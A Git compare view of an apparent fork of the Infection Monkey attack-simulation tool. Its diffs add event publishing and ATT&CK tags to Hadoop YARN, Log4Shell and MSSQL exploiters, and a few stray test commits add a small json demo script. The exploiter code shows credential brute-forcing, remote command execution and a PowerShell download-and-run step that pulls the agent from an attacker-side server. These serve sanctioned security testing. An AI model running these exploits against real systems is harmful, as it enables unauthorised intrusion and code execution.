Compare commits

...

104 Commits

Author SHA1 Message Date
p15670423 f803f88afc 确认合并
测试,,,,,,,,,,,,,,,,,,
2022-10-11 09:55:06 +08:00
p34709852 09b3b42dc5 ADD file via upload 2022-10-10 14:48:05 +08:00
p31829507 de18b55417 Add test_dumps.py 2022-10-10 14:39:32 +08:00
p31829507 9071fc90aa Add test_dumps 2022-10-10 14:38:31 +08:00
wutao 4505399049 测试:重复提交代码 2022-10-10 13:40:54 +08:00
wutao f5bfdc430c 测试:提交代码 2022-10-10 13:36:32 +08:00
wutao 0382831701 测试:提交代码 2022-10-10 13:34:44 +08:00
Mike Salvatore 04fec93c39 Merge branch '2269-publish-events-from-hadoop-exploiter' into develop
PR #2396
2022-10-07 09:37:37 -04:00
Ilija Lazoroski 7a664218bd Agent: Check all potential urls in Hadoop 2022-10-07 15:13:04 +02:00
Mike Salvatore 6d60e33c1e Merge branch '2269-publish-events-for-mssql-exploiter' into develop
PR #2401
2022-10-07 08:46:40 -04:00
Mike Salvatore a558948c5d Agent: Remove unnecessary `pass` from MSSQLExploiter 2022-10-07 08:43:05 -04:00
Mike Salvatore 66f5d7a86a Agent: Remove errant exploitation event from hadoop
If no potential URLs are found, then no exploit is attempted, so there's
no reason to publish an ExploitationEvent.
2022-10-07 08:35:24 -04:00
Shreya Malviya 3b225a9c7d
Merge pull request #2376 from guardicore/dependabot/npm_and_yarn/monkey/monkey_island/cc/ui/d3-color-and-d3-3.1.0
Bump d3-color and d3 in /monkey/monkey_island/cc/ui
2022-10-07 18:01:53 +05:30
Mike Salvatore 79e8ce5f79 Island: Pass tuple, not set to upsert_tcp_connections()
pydantic can probably handle the set -> tuple conversion itself, but
mypy complains.
2022-10-07 07:44:49 -04:00
Mike Salvatore 0965b97d45 Island: Use ScanEvent for typehint in ScanEventHandler
`event` gets passed to `_get_source_machine()`, which expects
`ScanEvent`, not `AbstractAgentEvent`
2022-10-07 07:43:50 -04:00
Mike Salvatore 4c026241ea Island: Change method order in ScanEventHandler 2022-10-07 07:41:50 -04:00
Ilija Lazoroski 25073be9f3 Agent: Remove adding vulnerable urls in Hadoop
Adding vulnerable ulrs causes check to see if the target is exploitable
which calls self.exploit
2022-10-07 11:46:35 +02:00
Ilija Lazoroski c02d43556a Agent: Make Hadoop tags uppercase 2022-10-07 11:46:35 +02:00
Ilija Lazoroski 8bdb30dcfb Agent: Rename stamp to timestamp in Hadoop 2022-10-07 11:46:35 +02:00
Ilija Lazoroski 8f6df12d9c Agent: Modify HadoopExploiter tags to be properties 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala 76a3cb0ba0 Agent: Stamp time before exploit executes 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala de5d365bb0 Agent: Publish events sooner 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala 3e592cfa69 Agent: Use exploiter tag properties 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala 4a0a24dde2 Agent: Update hadoop exploiter tags T1570 -> T1105 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala 76ae57281d Agent: Use EXPLOIT_TAGS for exploitation event 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala 54b551b728 Agent: Update tags for hadoop events 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala c31aed94ea Agent: Move successful explotiation event publish 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala bee1047024 Agent: Update hadoop failed event publishing 2022-10-07 11:46:34 +02:00
Kekoa Kaaikala 57af640317 Agent: Use correct publish method names 2022-10-07 11:46:34 +02:00
Ilija Lazoroski 9c185a3a78 Agent: Add tags and error messages in Hadoop 2022-10-07 11:46:34 +02:00
Ilija Lazoroski fe864792f3 Agent: Publish Propagation and Exploitation events from Hadoop 2022-10-07 11:46:34 +02:00
VakarisZ 4709ae771b
Merge pull request #2400 from guardicore/2267-add-tcp-connections
2267 add tcp connections
2022-10-07 12:15:39 +03:00
vakarisz be4ecccdcd Island: Refactor get_node_by_id to raise UnknownRecordError 2022-10-07 10:05:06 +03:00
Mike Salvatore 77d37bdb21 Merge branch '2269-publish-events-from-log4shell-exploiter' into develop
PR #2397
2022-10-06 17:26:06 -04:00
Mike Salvatore 9c2cdf15e2 Agent: Add TODO in Log4ShellExploiter 2022-10-06 17:01:06 -04:00
Mike Salvatore ead979c6ca Agent: Add T1110 to Log4Shell exploiter tags 2022-10-06 16:54:02 -04:00
Mike Salvatore 03c6c5ea4b Agent: Remove unnecessary Path -> str in Log4ShellExploiter 2022-10-06 16:51:14 -04:00
Mike Salvatore eac3076828 Agent: Change typehint for build_monkey_commandline's location
The function can handle str, PurePath, or None. This typehint change
reflects that capability
2022-10-06 16:50:41 -04:00
Mike Salvatore 7bc9993c6f Agent: Reduce VICTIM_WAIT_SLEEP_TIME_SEC to 0.050 seconds
1 second is a long time to wait, and we want our event timestamps to be
more accurate. 0.050 is 10 x sys.getswitchinterval(). It's reasonably
accurate but will also share the CPU nicely.
2022-10-06 16:46:41 -04:00
Mike Salvatore 6bd7042444 Agent: Add VICTIM_WAIT_SLEEP_TIME_SEC constant in log4shell exlpoiter 2022-10-06 16:42:33 -04:00
Mike Salvatore d8fca72f28 Agent: Publish all prop/exploit events from _wait_for_victim() 2022-10-06 16:41:20 -04:00
Mike Salvatore b2c5b22128 Merge branch '2269-publish-events-from-powershell-exploiter' into develop
PR #2402
2022-10-06 12:45:13 -04:00
Mike Salvatore 8e3bf96589 Agent: Convert plaintext to str()
get_plaintext() can return bytes. Convert the output to a str in
PowershellClient to avoid potential issues.
2022-10-06 12:40:50 -04:00
Mike Salvatore 65dd386603 Agent: Collect timestamp before powershell connect 2022-10-06 12:39:37 -04:00
Mike Salvatore c4573673ce Agent: Rename timestamp -> execute_agent_timestamp 2022-10-06 12:39:11 -04:00
Ilija Lazoroski ac11d159fe Agent: Revise Powershell publishing of events 2022-10-06 16:03:15 +02:00
Mike Salvatore de9b5601d8
Merge branch 2269-publish-events-from-sshexec-exploiter into develop
PR #2395
2022-10-06 10:00:35 -04:00
Mike Salvatore c980bfd915 Agent: Move timestamp closer to ssh.exec_command() 2022-10-06 09:57:11 -04:00
Mike Salvatore 52380a2513 Agent: Publish exploitation event on unexpected SSH exception 2022-10-06 09:55:53 -04:00
Mike Salvatore 39bada5bb1 Agent: Move assignment outside of try/except 2022-10-06 15:50:46 +02:00
Kekoa Kaaikala 3bca02af59 Agent: Fix powershell tests 2022-10-06 15:50:46 +02:00
Kekoa Kaaikala 7d535c72d9 Agent: Publish powershell exploitation events 2022-10-06 15:50:46 +02:00
Kekoa Kaaikala 3bede2f9d1 Agent: Publish propagation events 2022-10-06 15:50:46 +02:00
Kekoa Kaaikala bb6716df18 Common: Add attack technique T1059 2022-10-06 15:50:46 +02:00
vakarisz 8503e0f499 UT: Remove unused test data structures 2022-10-06 15:02:13 +03:00
Ilija Lazoroski ec617df06a Agent: Fix LocketHTTPServer mypy error in MSSQLExploiter 2022-10-06 13:53:17 +02:00
vakarisz 0d246a0479 Island: Rename add_tcp_connections to upsert_tcp_connections 2022-10-06 14:49:11 +03:00
Ilija Lazoroski 47846628e6 Agent: Modify MSSQL tags to be properties 2022-10-06 13:47:11 +02:00
vakarisz 3bc2e4876f Island: Handle missing node in add_tcp_connections 2022-10-06 14:45:56 +03:00
Kekoa Kaaikala 15974ff21c Agent: Stamp time before running exploit 2022-10-06 13:37:26 +02:00
Kekoa Kaaikala 66f8471f24 Agent: Remove "summary" event 2022-10-06 13:35:18 +02:00
Kekoa Kaaikala e404416363 Agent: Use exploit tag properties 2022-10-06 13:35:18 +02:00
Kekoa Kaaikala 5c6b1e3910 Common: Remove unused technique T1071 2022-10-06 13:35:18 +02:00
Kekoa Kaaikala 9269c8579c Agent: Remove unneccessary technique 2022-10-06 13:35:18 +02:00
Kekoa Kaaikala 8317c03686 Agent: Add tags to MSSQL propagation events 2022-10-06 13:35:18 +02:00
Kekoa Kaaikala aab965bad7 Common: Add attack technique T1071 2022-10-06 13:35:18 +02:00
Kekoa Kaaikala fa8b721abe Common: Add attack technique T1059 2022-10-06 13:35:18 +02:00
Kekoa Kaaikala 183bd1145f Agent: Add tags to MSSQL exploitation events 2022-10-06 13:35:18 +02:00
Kekoa Kaaikala 33230e85f7 Agent: Use updated publish methods 2022-10-06 13:35:18 +02:00
Kekoa Kaaikala 2cd9d0086b Agent: Fix mypy error in http_tools.py 2022-10-06 13:35:18 +02:00
Kekoa Kaaikala 8dd196122b Agent: Publish events from MSSQLExploiter 2022-10-06 13:35:18 +02:00
vakarisz b0ec035909 Island: Move tcp_connection addition to node repository 2022-10-06 14:31:12 +03:00
Ilija Lazoroski 0f3f45e92f Agent: Modify Log4Shell tags to be properties 2022-10-06 13:26:48 +02:00
Kekoa Kaaikala 016bf5c795 Agent: Stamp times before the exploit runs 2022-10-06 13:24:03 +02:00
Kekoa Kaaikala 48e6e95271 Agent: Update propagation tags for log4shell 2022-10-06 13:22:38 +02:00
Kekoa Kaaikala ac69064dec Agent: Send failed exploitation event 2022-10-06 13:22:38 +02:00
Kekoa Kaaikala 0c4b90beb5 Agent: Fix typo 2022-10-06 13:22:38 +02:00
Ilija Lazoroski c5d5418af4 Agent: Fix typo in t1203 attack technique in Log4Shell 2022-10-06 13:22:38 +02:00
Ilija Lazoroski ef4a465515 Agent: Add tags to exploitation and propagation events in Log4Shell 2022-10-06 13:22:38 +02:00
Ilija Lazoroski c5506f98e8 Agent: Publish Propagation and Exploitation events from Log4Shell 2022-10-06 13:22:38 +02:00
vakarisz c90044074d Island: Remove storage error when node wasn't modified
Upserting should throw an error when updating or inserting went wrong, not when a node is already up to date.
2022-10-06 14:21:13 +03:00
Ilija Lazoroski 95f1e3cb7b Agent: Modify tags methods to be properties in SSHExploiter 2022-10-06 13:16:49 +02:00
Ilija Lazoroski dcb08b2881 Agent: Convert IPv4Address to str when connecting to socket 2022-10-06 13:15:42 +02:00
Ilija Lazoroski f0112410c9 Agent: Rename stamp to timestamp in SSHExploiter 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala e11bd2c7f2 Agent: Stamp start time prior to running exploit 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala aba886624e Agent: Send propagation events sooner 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala e8f48085a4 Agent: Use the tag properties 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala 79f72dda55 Agent: Stop sending PropagationEvent before attempt 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala 72378f4e53 Agent: Publish scan event when checking ssh port 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala 431d6ae775 Agent: Extract method _get_ssh_port 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala 0a1901b9a1 Agent: Use error to propagate failure 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala a2534391a6 Agent: Extract method _propagate 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala 1cb88e029a Agent: Extract method _exploit 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala b31eb885f0 Agent: Extract method _get_victim_os 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala dc8a0ac2ad Agent: Extract method _upload_agent_binary 2022-10-06 13:15:42 +02:00
Kekoa Kaaikala 9dac64b60e Agent: Update ssh exploiter tags 2022-10-06 13:15:42 +02:00
Ilija Lazoroski 5d9416c385 Agent: Use common.tags to publish events in SSHExploiter 2022-10-06 13:15:42 +02:00
Ilija Lazoroski 5948537d4a Agent: Add tags to SSHExploiter 2022-10-06 13:15:42 +02:00
Ilija Lazoroski ddaada1f09 Agent: Revise event publishing in SSHExploiter 2022-10-06 13:15:42 +02:00
vakarisz 2248bdcd67 Island: Add _get_node_by_id method to mongo_node_repository.py 2022-10-06 14:10:47 +03:00
vakarisz 249950d602 Island: Improve tcp handler code and coverage 2022-10-05 17:07:19 +03:00
vakarisz 6c913895c5 Island: Add TCP connections to nodes based on TCP scan event 2022-10-05 15:33:16 +03:00
vakarisz bbcdc1bef4 Island: Make upsert_node method public
Updating/inserting the node into the repository is required outside of repository itself.
2022-10-05 15:33:11 +03:00
dependabot[bot] 21656dabb4
Bump d3-color and d3 in /monkey/monkey_island/cc/ui
Bumps [d3-color](https://github.com/d3/d3-color) to 3.1.0 and updates ancestor dependency [d3](https://github.com/d3/d3). These dependencies need to be updated together.


Updates `d3-color` from 1.4.1 to 3.1.0
- [Release notes](https://github.com/d3/d3-color/releases)
- [Commits](https://github.com/d3/d3-color/compare/v1.4.1...v3.1.0)

Updates `d3` from 5.16.0 to 7.6.1
- [Release notes](https://github.com/d3/d3/releases)
- [Changelog](https://github.com/d3/d3/blob/main/CHANGES.md)
- [Commits](https://github.com/d3/d3/compare/v5.16.0...v7.6.1)

---
updated-dependencies:
- dependency-name: d3-color
  dependency-type: indirect
- dependency-name: d3
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-09-30 01:20:57 +00:00
26 changed files with 1183 additions and 568 deletions

13
c/test_dumps.py Normal file
View File

@ -0,0 +1,13 @@
import json
data = {
'name' : 'myname',
'age' : 100,
}
# separators:是分隔符的意思参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符后面的空格都除去了.
# dumps 将python对象字典转换为json字符串
json_str = json.dumps(data, separators=(',', ':'))
print(type(json_str), json_str)
# loads 将json字符串转化为python对象字典
pyton_obj = json.loads(json_str)
print(type(pyton_obj), pyton_obj)

View File

@ -2,6 +2,7 @@ from .attack import (
T1003_ATTACK_TECHNIQUE_TAG, T1003_ATTACK_TECHNIQUE_TAG,
T1005_ATTACK_TECHNIQUE_TAG, T1005_ATTACK_TECHNIQUE_TAG,
T1021_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1098_ATTACK_TECHNIQUE_TAG, T1098_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG, T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG, T1110_ATTACK_TECHNIQUE_TAG,

View File

@ -1,6 +1,7 @@
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003" T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005" T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021" T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021"
T1059_ATTACK_TECHNIQUE_TAG = "attack-t1059"
T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098" T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098"
T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105" T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105"
T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110" T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110"

View File

@ -5,13 +5,20 @@
""" """
import json import json
import logging
import posixpath import posixpath
import random import random
import string import string
from time import time
import requests import requests
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.tags import (
T1105_ATTACK_TECHNIQUE_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG,
)
from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.helpers import get_agent_dst_path
from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.web_rce import WebRCE
@ -23,6 +30,10 @@ from infection_monkey.model import (
) )
from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.commands import build_monkey_commandline
logger = logging.getLogger(__name__)
HADOOP_EXPLOITER_TAG = "hadoop-exploiter"
class HadoopExploiter(WebRCE): class HadoopExploiter(WebRCE):
_EXPLOITED_SERVICE = "Hadoop" _EXPLOITED_SERVICE = "Hadoop"
@ -32,39 +43,43 @@ class HadoopExploiter(WebRCE):
# Random string's length that's used for creating unique app name # Random string's length that's used for creating unique app name
RAN_STR_LEN = 6 RAN_STR_LEN = 6
_EXPLOITER_TAGS = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
_PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG)
def __init__(self): def __init__(self):
super(HadoopExploiter, self).__init__() super(HadoopExploiter, self).__init__()
def _exploit_host(self): def _exploit_host(self):
# Try to get exploitable url # Try to get potential urls
urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) potential_urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
self.add_vulnerable_urls(urls, True) if not potential_urls:
if not self.vulnerable_urls: self.exploit_result.error_message = (
f"No potential exploitable urls has been found for {self.host}"
)
return self.exploit_result return self.exploit_result
try:
monkey_path_on_victim = get_agent_dst_path(self.host) monkey_path_on_victim = get_agent_dst_path(self.host)
except KeyError:
return self.exploit_result
http_path, http_thread = HTTPTools.create_locked_transfer( http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, str(monkey_path_on_victim), self.agent_binary_repository self.host, str(monkey_path_on_victim), self.agent_binary_repository
) )
try:
command = self._build_command(monkey_path_on_victim, http_path) command = self._build_command(monkey_path_on_victim, http_path)
try:
if self.exploit(self.vulnerable_urls[0], command): for url in potential_urls:
if self.exploit(url, command):
self.add_executed_cmd(command) self.add_executed_cmd(command)
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
self.exploit_result.propagation_success = True self.exploit_result.propagation_success = True
break
finally: finally:
http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop() http_thread.stop()
return self.exploit_result return self.exploit_result
def exploit(self, url, command): def exploit(self, url: str, command: str):
if self._is_interrupted(): if self._is_interrupted():
self._set_interrupted() self._set_interrupted()
return False return False
@ -73,8 +88,8 @@ class HadoopExploiter(WebRCE):
resp = requests.post( resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT
) )
resp = json.loads(resp.content) resp_dict = json.loads(resp.content)
app_id = resp["application-id"] app_id = resp_dict["application-id"]
# Create a random name for our application in YARN # Create a random name for our application in YARN
# random.SystemRandom can block indefinitely in Linux # random.SystemRandom can block indefinitely in Linux
@ -87,10 +102,16 @@ class HadoopExploiter(WebRCE):
self._set_interrupted() self._set_interrupted()
return False return False
timestamp = time()
resp = requests.post( resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
) )
return resp.status_code == 202
success = resp.status_code == 202
message = "" if success else f"Failed to exploit via {url}"
self._publish_exploitation_event(timestamp, success, error_message=message)
self._publish_propagation_event(timestamp, success, error_message=message)
return success
def check_if_exploitable(self, url): def check_if_exploitable(self, url):
try: try:

View File

@ -4,6 +4,11 @@ from pathlib import PurePath
from common import OperatingSystem from common import OperatingSystem
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from common.tags import (
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
)
from common.utils import Timer from common.utils import Timer
from infection_monkey.exploit.log4shell_utils import ( from infection_monkey.exploit.log4shell_utils import (
LINUX_EXPLOIT_TEMPLATE_PATH, LINUX_EXPLOIT_TEMPLATE_PATH,
@ -26,12 +31,26 @@ from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
LOG4SHELL_EXPLOITER_TAG = "log4shell-exploiter"
VICTIM_WAIT_SLEEP_TIME_SEC = 0.050
class Log4ShellExploiter(WebRCE): class Log4ShellExploiter(WebRCE):
_EXPLOITED_SERVICE = "Log4j" _EXPLOITED_SERVICE = "Log4j"
SERVER_SHUTDOWN_TIMEOUT = LONG_REQUEST_TIMEOUT SERVER_SHUTDOWN_TIMEOUT = LONG_REQUEST_TIMEOUT
REQUEST_TO_VICTIM_TIMEOUT = MEDIUM_REQUEST_TIMEOUT REQUEST_TO_VICTIM_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
_EXPLOITER_TAGS = (
LOG4SHELL_EXPLOITER_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
)
_PROPAGATION_TAGS = (
LOG4SHELL_EXPLOITER_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
)
def _exploit_host(self) -> ExploiterResultData: def _exploit_host(self) -> ExploiterResultData:
self._open_ports = [ self._open_ports = [
int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
@ -146,24 +165,37 @@ class Log4ShellExploiter(WebRCE):
f"on port {port}" f"on port {port}"
) )
try: try:
timestamp = time.time()
url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port)
except Exception as ex: except Exception as err:
logger.warning( error_message = (
"An error occurred while attempting to exploit log4shell on a " "An error occurred while attempting to exploit log4shell on a "
f"potential {exploit.service_name} service: {ex}" f"potential {exploit.service_name} service: {err}"
) )
if self._wait_for_victim(): logger.warning(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
# TODO: _wait_for_victim() gets called even if trigger_exploit() raises an
# exception. Is that the desired behavior?
if self._wait_for_victim(timestamp):
self.exploit_info["vulnerable_service"] = { self.exploit_info["vulnerable_service"] = {
"service_name": exploit.service_name, "service_name": exploit.service_name,
"port": port, "port": port,
} }
self.exploit_info["vulnerable_urls"].append(url) self.exploit_info["vulnerable_urls"].append(url)
def _wait_for_victim(self) -> bool: def _wait_for_victim(self, timestamp: float) -> bool:
victim_called_back = self._wait_for_victim_to_download_java_bytecode() victim_called_back = self._wait_for_victim_to_download_java_bytecode()
if victim_called_back: if victim_called_back:
self._wait_for_victim_to_download_agent() self._publish_exploitation_event(timestamp, True)
victim_downloaded_agent = self._wait_for_victim_to_download_agent()
self._publish_propagation_event(success=victim_downloaded_agent)
else:
error_message = "Timed out while waiting for victim to download the java bytecode"
logger.debug(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
return victim_called_back return victim_called_back
@ -176,19 +208,20 @@ class Log4ShellExploiter(WebRCE):
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
return True return True
time.sleep(1) time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC)
logger.debug("Timed out while waiting for victim to download the java bytecode")
return False return False
def _wait_for_victim_to_download_agent(self): def _wait_for_victim_to_download_agent(self) -> bool:
timer = Timer() timer = Timer()
timer.set(LONG_REQUEST_TIMEOUT) timer.set(LONG_REQUEST_TIMEOUT)
while not timer.is_expired(): while not timer.is_expired():
if self._agent_http_server_thread.downloads > 0: if self._agent_http_server_thread.downloads > 0:
self.exploit_result.propagation_success = True self.exploit_result.propagation_success = True
break return True
# TODO: if the http server got an error we're waiting for nothing here # TODO: if the http server got an error we're waiting for nothing here
time.sleep(1) time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC)
return False

View File

@ -1,12 +1,18 @@
import logging import logging
from pathlib import PureWindowsPath from pathlib import PureWindowsPath
from time import sleep from time import sleep, time
from typing import Sequence, Tuple from typing import Iterable, Optional, Tuple
import pymssql import pymssql
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.credentials import get_plaintext from common.credentials import get_plaintext
from common.tags import (
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG,
)
from common.utils.exceptions import FailedExploitationError from common.utils.exceptions import FailedExploitationError
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.helpers import get_agent_dst_path
@ -20,6 +26,8 @@ from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
MSSQL_EXPLOITER_TAG = "mssql-exploiter"
class MSSQLExploiter(HostExploiter): class MSSQLExploiter(HostExploiter):
_EXPLOITED_SERVICE = "MSSQL" _EXPLOITED_SERVICE = "MSSQL"
@ -36,13 +44,20 @@ class MSSQLExploiter(HostExploiter):
"DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')" "DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"
) )
_EXPLOITER_TAGS = (MSSQL_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
_PROPAGATION_TAGS = (
MSSQL_EXPLOITER_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
)
def __init__(self): def __init__(self):
super().__init__() super().__init__()
self.cursor = None self.cursor = None
self.agent_http_path = None self.agent_http_path = None
def _exploit_host(self) -> ExploiterResultData: def _exploit_host(self) -> ExploiterResultData:
agent_path_on_victim = get_agent_dst_path(self.host) agent_path_on_victim = PureWindowsPath(get_agent_dst_path(self.host))
# Brute force to get connection # Brute force to get connection
creds = generate_identity_secret_pairs( creds = generate_identity_secret_pairs(
@ -52,16 +67,18 @@ class MSSQLExploiter(HostExploiter):
try: try:
self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds) self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
except FailedExploitationError: except FailedExploitationError:
logger.info( error_message = (
f"Failed brute-forcing of MSSQL server on {self.host}," f"Failed brute-forcing of MSSQL server on {self.host},"
f" no credentials were successful" f" no credentials were successful"
) )
logger.error(error_message)
return self.exploit_result return self.exploit_result
if self._is_interrupted(): if self._is_interrupted():
self._set_interrupted() self._set_interrupted()
return self.exploit_result return self.exploit_result
timestamp = time()
try: try:
self._upload_agent(agent_path_on_victim) self._upload_agent(agent_path_on_victim)
self._run_agent(agent_path_on_victim) self._run_agent(agent_path_on_victim)
@ -72,15 +89,17 @@ class MSSQLExploiter(HostExploiter):
) )
logger.error(error_message) logger.error(error_message)
self._publish_propagation_event(timestamp, False, error_message=error_message)
self.exploit_result.error_message = error_message self.exploit_result.error_message = error_message
return self.exploit_result return self.exploit_result
self._publish_propagation_event(timestamp, True)
self.exploit_result.propagation_success = True self.exploit_result.propagation_success = True
return self.exploit_result return self.exploit_result
def _brute_force( def _brute_force(
self, host: str, port: str, users_passwords_pairs_list: Sequence[Tuple[str, str]] self, host: str, port: str, users_passwords_pairs_list: Iterable[Tuple[str, str]]
) -> pymssql.Cursor: ) -> pymssql.Cursor:
""" """
Starts the brute force connection attempts and if needed then init the payload process. Starts the brute force connection attempts and if needed then init the payload process.
@ -106,6 +125,7 @@ class MSSQLExploiter(HostExploiter):
) )
for user, password in credentials_iterator: for user, password in credentials_iterator:
timestamp = time()
try: try:
# Core steps # Core steps
# Trying to connect # Trying to connect
@ -122,14 +142,14 @@ class MSSQLExploiter(HostExploiter):
) )
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
self.report_login_attempt(True, user, password) self._report_login_attempt(timestamp, True, user, password)
cursor = conn.cursor() cursor = conn.cursor()
return cursor return cursor
except pymssql.OperationalError as err: except pymssql.OperationalError as err:
logger.info(f"Connection to MSSQL failed: {err}") error_message = f"Connection to MSSQL failed: {err}"
self.report_login_attempt(False, user, password) logger.info(error_message)
# Combo didn't work, hopping to the next one self._report_login_attempt(timestamp, False, user, password, error_message)
pass
logger.warning( logger.warning(
"No user/password combo was able to connect to host: {0}:{1}, " "No user/password combo was able to connect to host: {0}:{1}, "
@ -139,14 +159,23 @@ class MSSQLExploiter(HostExploiter):
"Bruteforce process failed on host: {0}".format(self.host.ip_addr) "Bruteforce process failed on host: {0}".format(self.host.ip_addr)
) )
def _report_login_attempt(
self, timestamp: float, success: bool, user, password: str, message: str = ""
):
self._publish_exploitation_event(timestamp, success, error_message=message)
self.report_login_attempt(success, user, password)
def _upload_agent(self, agent_path_on_victim: PureWindowsPath): def _upload_agent(self, agent_path_on_victim: PureWindowsPath):
http_thread = self._start_agent_server(agent_path_on_victim) http_thread = self._start_agent_server(agent_path_on_victim)
self._run_agent_download_command(agent_path_on_victim) self._run_agent_download_command(agent_path_on_victim)
if http_thread:
MSSQLExploiter._stop_agent_server(http_thread) MSSQLExploiter._stop_agent_server(http_thread)
def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer: def _start_agent_server(
self, agent_path_on_victim: PureWindowsPath
) -> Optional[LockedHTTPServer]:
self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, str(agent_path_on_victim), self.agent_binary_repository self.host, str(agent_path_on_victim), self.agent_binary_repository
) )
